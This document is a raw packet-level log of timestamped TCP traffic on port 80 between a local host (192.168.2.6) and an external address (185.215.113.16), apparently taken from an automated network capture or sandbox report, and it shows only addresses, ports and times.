Dec 18, 2024 12:00:06.754576921 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.758141994 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.758285046 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.815275908 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.815401077 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.815445900 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.815526962 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.817502975 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.817567110 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.817601919 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.817780972 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.824959040 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.825037956 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.825164080 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.825285912 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.832441092 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.832530022 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.833093882 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.833153009 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.839873075 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.839936018 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.840545893 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.840604067 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.844113111 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.844198942 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.844398022 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.844446898 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.848382950 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.848469973 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.848522902 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.848581076 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.852653027 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.852713108 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.852741957 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.852802992 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.856906891 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.857016087 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.857250929 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.857311010 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.861362934 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.861424923 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.861466885 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.861529112 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.865359068 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.865426064 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.865463018 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.865514994 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.869630098 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.869693041 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.869792938 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.869843006 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.874025106 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.874104023 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.874166012 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.874216080 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.878138065 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.878238916 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.878882885 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.878968954 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.882524014 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.882581949 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.882972002 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.883043051 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.887000084 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.887093067 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.888427019 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.888490915 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.891813993 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.891882896 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.892067909 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.892126083 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.895895004 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.895987034 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.896375895 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.896522999 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.899496078 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.899555922 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.899960995 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.900090933 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.903753996 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.903815031 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.904642105 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.904761076 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.907969952 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.908025026 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.945200920 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.945362091 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.945991039 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.946110010 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.947345972 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.947472095 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.947550058 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.951704979 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.951781034 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.006819963 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.006920099 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.006988049 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.006988049 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.008678913 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.008779049 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.008790016 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.008853912 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.012515068 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.012613058 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.012648106 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.012729883 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.016349077 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.016416073 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.016478062 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.016530037 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.020163059 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.020245075 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.020339966 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.020396948 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.023083925 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.023190022 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.023785114 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.023848057 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.025984049 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.026067019 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.028011084 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.028079033 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.028790951 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.028822899 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.028851032 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.028877974 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.031481028 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.031562090 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.031598091 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.031670094 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.034255981 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.034346104 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.034429073 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.034477949 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.037026882 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.037111044 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.037158966 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.037213087 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.039554119 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.039618969 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.039689064 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.039757013 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.042224884 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.042295933 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.042346954 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.042397976 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.044971943 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.045049906 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.045289993 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.045365095 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.047858000 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.047921896 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.048043966 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.048095942 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.050451040 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.050539970 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.050776958 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.050839901 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.053265095 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.053395987 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.054425955 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.054478884 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.055795908 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.055855989 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.056849003 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.056905031 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.058609009 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.058666945 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.058900118 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.058953047 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.061489105 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.061640978 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.061666965 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.061711073 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.063873053 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.063997030 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.064044952 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.064138889 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.066339970 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.066611052 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.066657066 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.066694975 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.068737984 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.068881989 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.068949938 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.068999052 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.071278095 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.071346998 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.073121071 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.073261976 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.074100971 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.074166059 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.074637890 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.074724913 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.076911926 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.076972008 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.077353001 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.077406883 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.078946114 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.079025030 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.079099894 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.079339981 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.081038952 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.081150055 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.081168890 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.081213951 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.083414078 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.083475113 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.083606005 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.083659887 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.085568905 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.085692883 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.085988998 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.086040974 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.087884903 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.088068008 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.088136911 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.090084076 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.090145111 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.136701107 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.136807919 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.137527943 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.137706041 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.137964010 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.138014078 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.138089895 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.138135910 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.139997959 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.140058994 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.140263081 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.140324116 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.142235994 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.142292976 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.142491102 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.142544031 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.144550085 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.144807100 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.144824028 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.144877911 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.236354113 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.236392975 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.236428976 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.236465931 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.237086058 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.237142086 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.237202883 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.238176107 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.238238096 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.238991022 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.239044905 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.239729881 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.239747047 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.239775896 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.239793062 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.241127014 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.241199017 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.241286039 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.241391897 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.242711067 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.242796898 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.242904902 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.242944956 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.244169950 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.244237900 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.244323015 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.244369030 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.245815992 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.245832920 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.245882988 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.245897055 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.247304916 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.247366905 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.247724056 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.247770071 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.248858929 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.248917103 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.249037027 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.249090910 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.250421047 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.250475883 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.250962019 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.251029015 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.251873016 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.251919985 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.253218889 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.253309011 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.253402948 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.253447056 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.253865004 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.254463911 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.255275011 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.255333900 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.255511999 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.255564928 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.256644011 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.256699085 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.256727934 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.256773949 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.258152008 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.258209944 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.258392096 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.258536100 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.259607077 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.259673119 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.259747028 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.259792089 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.261132002 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.261787891 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.261857986 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.262552023 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.262605906 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.262875080 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.262979984 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.263942003 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.263999939 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.264261007 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.264390945 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.265338898 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.265414953 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.265491962 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.265678883 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.266844034 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.266900063 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.267013073 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.267123938 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.268146038 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.268203974 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.268381119 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.268560886 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.269588947 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.269603014 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.269660950 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.269684076 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.270927906 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.270975113 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.271070004 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.271245956 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.272401094 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.272558928 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.273641109 CET	80	49902	185.215.113.16	192.168.2.6
